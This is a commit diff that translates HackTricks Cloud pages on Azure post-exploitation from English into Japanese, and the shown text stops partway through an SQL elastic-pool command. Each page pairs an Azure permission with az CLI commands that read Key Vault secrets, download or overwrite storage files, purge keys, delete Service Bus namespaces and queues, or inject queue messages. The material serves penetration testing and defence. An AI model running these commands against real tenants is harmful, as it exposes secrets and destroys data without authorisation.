mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-09 03:40:59 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -1,6 +1 @@
|
||||
# Az - Post Exploitation
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# Az - ポストエクスプロイテーション
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Storage Privesc
|
||||
## ストレージの権限昇格
|
||||
|
||||
For more information about storage check:
|
||||
ストレージに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-storage.md
|
||||
@@ -12,38 +12,30 @@ For more information about storage check:
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
|
||||
|
||||
A principal with this permission will be able to **list** the blobs (files) inside a container and **download** the files which might contain **sensitive information**.
|
||||
|
||||
この権限を持つプリンシパルは、コンテナ内のブロブ(ファイル)を**リスト**し、**機密情報**を含む可能性のあるファイルを**ダウンロード**することができます。
|
||||
```bash
|
||||
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
|
||||
az storage blob list \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> --auth-mode login
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> --auth-mode login
|
||||
|
||||
az storage blob download \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
-n file.txt --auth-mode login
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
-n file.txt --auth-mode login
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
|
||||
|
||||
A principal with this permission will be able to **write and overwrite files in containers** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a blob):
|
||||
|
||||
この権限を持つプリンシパルは、**コンテナ内のファイルを書き込みおよび上書きする**ことができ、これにより損害を引き起こしたり、特権を昇格させたりする可能性があります(例:ブロブに保存されているコードを上書きする)。
|
||||
```bash
|
||||
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
|
||||
az storage blob upload \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--file /tmp/up.txt --auth-mode login --overwrite
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--file /tmp/up.txt --auth-mode login --overwrite
|
||||
```
|
||||
|
||||
### \*/delete
|
||||
|
||||
This would allow to delete objects inside the storage account which might **interrupt some services** or make the client **lose valuable information**.
|
||||
これにより、ストレージアカウント内のオブジェクトを削除でき、**いくつかのサービスを中断させる**か、クライアントが**貴重な情報を失う**可能性があります。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
File Share Post Exploitation
|
||||
ファイル共有のポストエクスプロイテーション
|
||||
|
||||
For more information about file shares check:
|
||||
ファイル共有に関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
@@ -12,41 +12,33 @@ For more information about file shares check:
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
|
||||
|
||||
A principal with this permission will be able to **list** the files inside a file share and **download** the files which might contain **sensitive information**.
|
||||
|
||||
この権限を持つプリンシパルは、ファイル共有内のファイルを**リスト**し、**機密情報**を含む可能性のあるファイルを**ダウンロード**することができます。
|
||||
```bash
|
||||
# List files inside an azure file share
|
||||
az storage file list \
|
||||
--account-name <name> \
|
||||
--share-name <share-name> \
|
||||
--auth-mode login --enable-file-backup-request-intent
|
||||
--account-name <name> \
|
||||
--share-name <share-name> \
|
||||
--auth-mode login --enable-file-backup-request-intent
|
||||
|
||||
# Download an specific file
|
||||
az storage file download \
|
||||
--account-name <name> \
|
||||
--share-name <share-name> \
|
||||
--path <filename-to-download> \
|
||||
--dest /path/to/down \
|
||||
--auth-mode login --enable-file-backup-request-intent
|
||||
--account-name <name> \
|
||||
--share-name <share-name> \
|
||||
--path <filename-to-download> \
|
||||
--dest /path/to/down \
|
||||
--auth-mode login --enable-file-backup-request-intent
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
|
||||
|
||||
A principal with this permission will be able to **write and overwrite files in file shares** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a file share):
|
||||
|
||||
この権限を持つプリンシパルは、**ファイル共有にファイルを書き込み、上書きする**ことができ、これにより損害を与えたり、特権を昇格させたりする可能性があります(例:ファイル共有に保存されたコードを上書きする)。
|
||||
```bash
|
||||
az storage blob upload \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--file /tmp/up.txt --auth-mode login --overwrite
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--file /tmp/up.txt --auth-mode login --overwrite
|
||||
```
|
||||
|
||||
### \*/delete
|
||||
|
||||
This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**.
|
||||
これにより、共有ファイルシステム内のファイルを削除でき、**いくつかのサービスを中断させる**か、クライアントが**貴重な情報を失う**可能性があります。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,18 +4,14 @@
|
||||
|
||||
## Funciton Apps Post Exploitaiton
|
||||
|
||||
For more information about function apps check:
|
||||
Function Appsに関する詳細情報は、以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION] > **Function Apps post exploitation tricks are very related to the privilege escalation tricks** so you can find all of them there:
|
||||
> [!CAUTION] > **Function Appsのポストエクスプロイトトリックは、特権昇格トリックと非常に関連しています**ので、すべてそこにあります:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-functions-app-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Key Vault
|
||||
|
||||
For more information about this service check:
|
||||
このサービスに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/keyvault.md
|
||||
@@ -12,27 +12,22 @@ For more information about this service check:
|
||||
|
||||
### Microsoft.KeyVault/vaults/secrets/getSecret/action
|
||||
|
||||
This permission will allow a principal to read the secret value of secrets:
|
||||
|
||||
この権限により、プリンシパルはシークレットの値を読み取ることができます:
|
||||
```bash
|
||||
az keyvault secret show --vault-name <vault name> --name <secret name>
|
||||
|
||||
# Get old version secret value
|
||||
az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<KeyVaultName>/<idOldVersion>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/certificates/purge/action**
|
||||
|
||||
This permission allows a principal to permanently delete a certificate from the vault.
|
||||
|
||||
この権限は、プリンシパルがボールトから証明書を永久に削除することを許可します。
|
||||
```bash
|
||||
az keyvault certificate purge --vault-name <vault name> --name <certificate name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/keys/encrypt/action**
|
||||
|
||||
This permission allows a principal to encrypt data using a key stored in the vault.
|
||||
|
||||
この権限は、プリンシパルがボールトに保存されたキーを使用してデータを暗号化することを許可します。
|
||||
```bash
|
||||
az keyvault key encrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
|
||||
|
||||
@@ -40,76 +35,55 @@ az keyvault key encrypt --vault-name <vault name> --name <key name> --algorithm
|
||||
echo "HackTricks" | base64 # SGFja1RyaWNrcwo=
|
||||
az keyvault key encrypt --vault-name testing-1231234 --name testing --algorithm RSA-OAEP-256 --value SGFja1RyaWNrcwo=
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/keys/decrypt/action**
|
||||
|
||||
This permission allows a principal to decrypt data using a key stored in the vault.
|
||||
|
||||
この権限は、プリンシパルがボールトに保存されたキーを使用してデータを復号化することを許可します。
|
||||
```bash
|
||||
az keyvault key decrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
|
||||
|
||||
# Example
|
||||
az keyvault key decrypt --vault-name testing-1231234 --name testing --algorithm RSA-OAEP-256 --value "ISZ+7dNcDJXLPR5MkdjNvGbtYK3a6Rg0ph/+3g1IoUrCwXnF791xSF0O4rcdVyyBnKRu0cbucqQ/+0fk2QyAZP/aWo/gaxUH55pubS8Zjyw/tBhC5BRJiCtFX4tzUtgTjg8lv3S4SXpYUPxev9t/9UwUixUlJoqu0BgQoXQhyhP7PfgAGsxayyqxQ8EMdkx9DIR/t9jSjv+6q8GW9NFQjOh70FCjEOpYKy9pEGdLtPTrirp3fZXgkYfIIV77TXuHHdR9Z9GG/6ge7xc9XT6X9ciE7nIXNMQGGVCcu3JAn9BZolb3uL7PBCEq+k2rH4tY0jwkxinM45tg38Re2D6CEA==" # This is the result from the previous encryption
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/keys/purge/action**
|
||||
|
||||
This permission allows a principal to permanently delete a key from the vault.
|
||||
|
||||
この権限は、プリンシパルがボールトからキーを永久に削除することを許可します。
|
||||
```bash
|
||||
az keyvault key purge --vault-name <vault name> --name <key name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/secrets/purge/action**
|
||||
|
||||
This permission allows a principal to permanently delete a secret from the vault.
|
||||
|
||||
この権限は、プリンシパルがボールトからシークレットを永久に削除することを許可します。
|
||||
```bash
|
||||
az keyvault secret purge --vault-name <vault name> --name <secret name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/secrets/setSecret/action**
|
||||
|
||||
This permission allows a principal to create or update a secret in the vault.
|
||||
|
||||
この権限は、プリンシパルがボールト内のシークレットを作成または更新することを許可します。
|
||||
```bash
|
||||
az keyvault secret set --vault-name <vault name> --name <secret name> --value <secret value>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/certificates/delete**
|
||||
|
||||
This permission allows a principal to delete a certificate from the vault. The certificate is moved to the "soft-delete" state, where it can be recovered unless purged.
|
||||
|
||||
この権限は、プリンシパルがボールトから証明書を削除することを許可します。証明書は「ソフト削除」状態に移動され、削除されない限り復元可能です。
|
||||
```bash
|
||||
az keyvault certificate delete --vault-name <vault name> --name <certificate name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/keys/delete**
|
||||
|
||||
This permission allows a principal to delete a key from the vault. The key is moved to the "soft-delete" state, where it can be recovered unless purged.
|
||||
|
||||
この権限は、プリンシパルがボールトからキーを削除することを許可します。キーは「ソフト削除」状態に移動され、削除されない限り回復可能です。
|
||||
```bash
|
||||
az keyvault key delete --vault-name <vault name> --name <key name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/secrets/delete**
|
||||
|
||||
This permission allows a principal to delete a secret from the vault. The secret is moved to the "soft-delete" state, where it can be recovered unless purged.
|
||||
|
||||
この権限は、プリンシパルがボールトからシークレットを削除することを許可します。シークレットは「ソフト削除」状態に移動され、削除されない限り復元可能です。
|
||||
```bash
|
||||
az keyvault secret delete --vault-name <vault name> --name <secret name>
|
||||
```
|
||||
|
||||
### Microsoft.KeyVault/vaults/secrets/restore/action
|
||||
|
||||
This permission allows a principal to restore a secret from a backup.
|
||||
|
||||
この権限は、プリンシパルがバックアップからシークレットを復元することを許可します。
|
||||
```bash
|
||||
az keyvault secret restore --vault-name <vault-name> --file <backup-file-path>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Queue
|
||||
|
||||
For more information check:
|
||||
詳細については、次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-queue-enum.md
|
||||
@@ -12,66 +12,53 @@ For more information check:
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read`
|
||||
|
||||
An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Storage Queueからメッセージを覗き見ることができます。これにより、攻撃者はメッセージの内容を処理済みとしてマークしたり、その状態を変更したりすることなく表示できます。これにより、機密情報への不正アクセスが可能になり、データの流出やさらなる攻撃のための情報収集が行われる可能性があります。
|
||||
```bash
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services.
|
||||
**潜在的な影響**: キューへの不正アクセス、メッセージの露出、または不正なユーザーやサービスによるキューの操作。
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action`
|
||||
|
||||
With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Storage Queueからメッセージを取得して処理することができます。これは、メッセージの内容を読み取り、処理済みとしてマークすることを意味し、実質的に正当なシステムから隠すことになります。これにより、機密データが露出したり、メッセージの処理方法に混乱が生じたり、メッセージを意図したユーザーに利用できなくすることで重要なワークフローが停止する可能性があります。
|
||||
```bash
|
||||
az storage message get --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action`
|
||||
|
||||
With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Storage Queueに新しいメッセージを追加できます。これにより、悪意のあるまたは不正なデータをキューに注入し、意図しないアクションを引き起こしたり、メッセージを処理する下流サービスを妨害したりする可能性があります。
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
|
||||
|
||||
This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue.
|
||||
|
||||
この権限により、攻撃者はAzure Storage Queueに新しいメッセージを追加したり、既存のメッセージを更新したりすることができます。これを使用することで、有害なコンテンツを挿入したり、既存のメッセージを変更したりすることができ、アプリケーションを誤解させたり、キューに依存するシステムで望ましくない動作を引き起こす可能性があります。
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
|
||||
#Update the message
|
||||
az storage message update --queue-name <queue-name> \
|
||||
--id <message-id> \
|
||||
--pop-receipt <pop-receipt> \
|
||||
--content "Updated message content" \
|
||||
--visibility-timeout <timeout-in-seconds> \
|
||||
--account-name <storage-account>
|
||||
--id <message-id> \
|
||||
--pop-receipt <pop-receipt> \
|
||||
--content "Updated message content" \
|
||||
--visibility-timeout <timeout-in-seconds> \
|
||||
--account-name <storage-account>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/delete`
|
||||
|
||||
This permission allows an attacker to delete queues within the storage account. By leveraging this capability, an attacker can permanently remove queues and all their associated messages, causing significant disruption to workflows and resulting in critical data loss for applications that rely on the affected queues. This action can also be used to sabotage services by removing essential components of the system.
|
||||
|
||||
この権限は、攻撃者がストレージアカウント内のキューを削除することを許可します。この機能を利用することで、攻撃者はキューとその関連メッセージを永久に削除し、ワークフローに重大な混乱を引き起こし、影響を受けたキューに依存するアプリケーションにとって重要なデータ損失をもたらすことができます。このアクションは、システムの重要なコンポーネントを削除することでサービスを妨害するためにも使用できます。
|
||||
```bash
|
||||
az storage queue delete --name <queue-name> --account-name <storage-account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/delete`
|
||||
|
||||
With this permission, an attacker can clear all messages from an Azure Storage Queue. This action removes all messages, disrupting workflows and causing data loss for systems dependent on the queue.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Storage Queueからすべてのメッセージを削除できます。このアクションはすべてのメッセージを削除し、ワークフローを妨害し、キューに依存するシステムにデータ損失を引き起こします。
|
||||
```bash
|
||||
az storage message clear --queue-name <queue-name> --account-name <storage-account>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
|
||||
|
||||
この権限は、攻撃者がストレージアカウント内のキューとそのプロパティを作成または変更することを許可します。これを使用して、不正なキューを作成したり、メタデータを変更したり、アクセス制御リスト(ACL)を変更してアクセスを許可または制限したりできます。この機能は、ワークフローを妨害したり、悪意のあるデータを注入したり、機密情報を抽出したり、さらなる攻撃を可能にするためにキュー設定を操作したりする可能性があります。
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
@@ -79,15 +66,10 @@ az storage queue metadata update --name <queue-name> --metadata key1=value1 key2
|
||||
|
||||
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Service Bus
|
||||
|
||||
For more information check:
|
||||
詳細については、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-servicebus-enum.md
|
||||
@@ -12,81 +12,65 @@ For more information check:
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/Delete`
|
||||
|
||||
An attacker with this permission can delete an entire Azure Service Bus namespace. This action removes the namespace and all associated resources, including queues, topics, subscriptions, and their messages, causing widespread disruption and permanent data loss across all dependent systems and workflows.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Service Busの名前空間全体を削除できます。このアクションは、名前空間とすべての関連リソース(キュー、トピック、サブスクリプション、およびそれらのメッセージ)を削除し、すべての依存システムとワークフローにおいて広範な混乱と永続的なデータ損失を引き起こします。
|
||||
```bash
|
||||
az servicebus namespace delete --resource-group <ResourceGroupName> --name <NamespaceName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/topics/Delete`
|
||||
|
||||
An attacker with this permission can delete an Azure Service Bus topic. This action removes the topic and all its associated subscriptions and messages, potentially causing loss of critical data and disrupting systems and workflows relying on the topic.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Service Bus トピックを削除できます。このアクションはトピックとその関連するすべてのサブスクリプションおよびメッセージを削除し、重要なデータの損失を引き起こし、トピックに依存するシステムやワークフローを混乱させる可能性があります。
|
||||
```bash
|
||||
az servicebus topic delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/queues/Delete`
|
||||
|
||||
An attacker with this permission can delete an Azure Service Bus queue. This action removes the queue and all the messages within it, potentially causing loss of critical data and disrupting systems and workflows dependent on the queue.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Service Bus キューを削除できます。このアクションはキューとその中のすべてのメッセージを削除し、重要なデータの損失を引き起こし、キューに依存するシステムやワークフローを混乱させる可能性があります。
|
||||
```bash
|
||||
az servicebus queue delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/Delete`
|
||||
|
||||
An attacker with this permission can delete an Azure Service Bus subscription. This action removes the subscription and all its associated messages, potentially disrupting workflows, data processing, and system operations relying on the subscription.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Service Bus サブスクリプションを削除できます。このアクションはサブスクリプションとその関連メッセージをすべて削除し、サブスクリプションに依存するワークフロー、データ処理、およびシステム操作を潜在的に中断させる可能性があります。
|
||||
```bash
|
||||
az servicebus topic subscription delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/write` & `Microsoft.ServiceBus/namespaces/read`
|
||||
|
||||
An attacker with permissions to create or modify Azure Service Bus namespaces can exploit this to disrupt operations, deploy unauthorized resources, or expose sensitive data. They can alter critical configurations such as enabling public network access, downgrading encryption settings, or changing SKUs to degrade performance or increase costs. Additionally, they could disable local authentication, manipulate replica locations, or adjust TLS versions to weaken security controls, making namespace misconfiguration a significant post-exploitation risk.
|
||||
|
||||
Azure Service Bus ネームスペースを作成または変更する権限を持つ攻撃者は、これを利用して操作を妨害したり、無許可のリソースを展開したり、機密データを露出させたりすることができます。彼らは、パブリックネットワークアクセスの有効化、暗号化設定のダウングレード、またはパフォーマンスを低下させたりコストを増加させたりするための SKU の変更など、重要な設定を変更することができます。さらに、ローカル認証を無効にしたり、レプリカの場所を操作したり、TLS バージョンを調整してセキュリティコントロールを弱体化させることも可能であり、ネームスペースの誤設定は重要なポストエクスプロイテーションリスクとなります。
|
||||
```bash
|
||||
az servicebus namespace create --resource-group <ResourceGroupName> --name <NamespaceName> --location <Location>
|
||||
az servicebus namespace update --resource-group <ResourceGroupName> --name <NamespaceName> --tags <Key=Value>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/queues/write` (`Microsoft.ServiceBus/namespaces/queues/read`)
|
||||
|
||||
An attacker with permissions to create or modify Azure Service Bus queues (to modiffy the queue you will also need the Action:`Microsoft.ServiceBus/namespaces/queues/read`) can exploit this to intercept data, disrupt workflows, or enable unauthorized access. They can alter critical configurations such as forwarding messages to malicious endpoints, adjusting message TTL to retain or delete data improperly, or enabling dead-lettering to interfere with error handling. Additionally, they could manipulate queue sizes, lock durations, or statuses to disrupt service functionality or evade detection, making this a significant post-exploitation risk.
|
||||
|
||||
攻撃者は、Azure Service Bus キューを作成または変更する権限を持っている場合(キューを変更するには、Action:`Microsoft.ServiceBus/namespaces/queues/read` も必要です)、これを利用してデータを傍受したり、ワークフローを妨害したり、無許可のアクセスを可能にしたりすることができます。彼らは、悪意のあるエンドポイントにメッセージを転送する、メッセージの TTL を調整してデータを不適切に保持または削除する、またはエラーハンドリングに干渉するためにデッドレターを有効にするなど、重要な設定を変更することができます。さらに、キューのサイズ、ロックの期間、またはステータスを操作してサービスの機能を妨害したり、検出を回避したりすることができるため、これは重要なポストエクスプロイテーションリスクとなります。
|
||||
```bash
|
||||
az servicebus queue create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
|
||||
az servicebus queue update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/topics/write` (`Microsoft.ServiceBus/namespaces/topics/read`)
|
||||
|
||||
An attacker with permissions to create or modify topics (to modiffy the topic you will also need the Action:`Microsoft.ServiceBus/namespaces/topics/read`) within an Azure Service Bus namespace can exploit this to disrupt message workflows, expose sensitive data, or enable unauthorized actions. Using commands like az servicebus topic update, they can manipulate configurations such as enabling partitioning for scalability misuse, altering TTL settings to retain or discard messages improperly, or disabling duplicate detection to bypass controls. Additionally, they could adjust topic size limits, change status to disrupt availability, or configure express topics to temporarily store intercepted messages, making topic management a critical focus for post-exploitation mitigation.
|
||||
|
||||
Azure Service Bus 名前空間内でトピックを作成または変更する権限を持つ攻撃者は、これを利用してメッセージワークフローを妨害したり、機密データを露出させたり、無許可のアクションを有効にしたりすることができます。az servicebus topic updateのようなコマンドを使用して、スケーラビリティの悪用のためにパーティショニングを有効にしたり、メッセージを不適切に保持または破棄するためにTTL設定を変更したり、制御を回避するために重複検出を無効にしたりするなどの構成を操作できます。さらに、トピックのサイズ制限を調整したり、可用性を妨害するためにステータスを変更したり、インターセプトされたメッセージを一時的に保存するためにエクスプレストピックを構成したりすることができるため、トピック管理はポストエクスプロイテーションの緩和において重要な焦点となります。
|
||||
```bash
|
||||
az servicebus topic create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
|
||||
az servicebus topic update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/write` (`Microsoft.ServiceBus/namespaces/topics/subscriptions/read`)
|
||||
|
||||
An attacker with permissions to create or modify subscriptions (to modiffy the subscription you will also need the Action: `Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) within an Azure Service Bus topic can exploit this to intercept, reroute, or disrupt message workflows. Using commands like az servicebus topic subscription update, they can manipulate configurations such as enabling dead lettering to divert messages, forwarding messages to unauthorized endpoints, or modifying TTL and lock duration to retain or interfere with message delivery. Additionally, they can alter status or max delivery count settings to disrupt operations or evade detection, making subscription control a critical aspect of post-exploitation scenarios.
|
||||
|
||||
Azure Service Bus トピック内でサブスクリプションを作成または変更する権限を持つ攻撃者は、これを利用してメッセージワークフローを傍受、再ルーティング、または中断することができます。az servicebus topic subscription updateのようなコマンドを使用して、メッセージを転送するためにデッドレターを有効にする、無許可のエンドポイントにメッセージを転送する、またはメッセージ配信を保持または干渉するためにTTLやロック期間を変更するなどの設定を操作できます。さらに、ステータスや最大配信回数の設定を変更して操作を中断させたり、検出を回避したりすることができるため、サブスクリプション制御はポストエクスプロイテーションシナリオの重要な側面となります。
|
||||
```bash
|
||||
az servicebus topic subscription create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
|
||||
az servicebus topic subscription update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
|
||||
```
|
||||
### アクション: `AuthorizationRules` メッセージの送信と受信
|
||||
|
||||
### Actions: `AuthorizationRules` Send & Recive Messages
|
||||
|
||||
Take a look here:
|
||||
ここを見てください:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-queue-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
@@ -97,7 +81,3 @@ Take a look here:
|
||||
- https://learn.microsoft.com/en-us/cli/azure/servicebus/queue?view=azure-cli-latest
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SQL Database Post Exploitation
|
||||
|
||||
For more information about SQL Database check:
|
||||
SQL Databaseに関する詳細情報は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-sql.md
|
||||
@@ -12,8 +12,7 @@ For more information about SQL Database check:
|
||||
|
||||
### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
|
||||
|
||||
With these permissions, an attacker can create and update databases within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions.
|
||||
|
||||
これらの権限を持つ攻撃者は、侵害された環境内でデータベースを作成および更新することができます。このポストエクスプロイト活動により、攻撃者は悪意のあるデータを追加したり、データベースの設定を変更したり、さらなる持続性のためにバックドアを挿入したりすることができ、操作を妨害したり、追加の悪意のある行動を可能にしたりする可能性があります。
|
||||
```bash
|
||||
# Create Database
|
||||
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
|
||||
@@ -21,73 +20,63 @@ az sql db create --resource-group <resource-group> --server <server-name> --name
|
||||
# Update Database
|
||||
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
|
||||
|
||||
With these permissions, an attacker can create and update elasticPools within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions.
|
||||
|
||||
これらの権限を持つ攻撃者は、侵害された環境内でelasticPoolsを作成および更新できます。このポストエクスプロイト活動により、攻撃者は悪意のあるデータを追加したり、データベースの設定を変更したり、さらなる持続性のためにバックドアを挿入したりすることができ、操作を妨害したり、追加の悪意のある行動を可能にしたりする可能性があります。
|
||||
```bash
|
||||
# Create Elastic Pool
|
||||
az sql elastic-pool create \
|
||||
--name <new-elastic-pool-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--edition <edition> \
|
||||
--dtu <dtu-value>
|
||||
--name <new-elastic-pool-name> \
|
||||
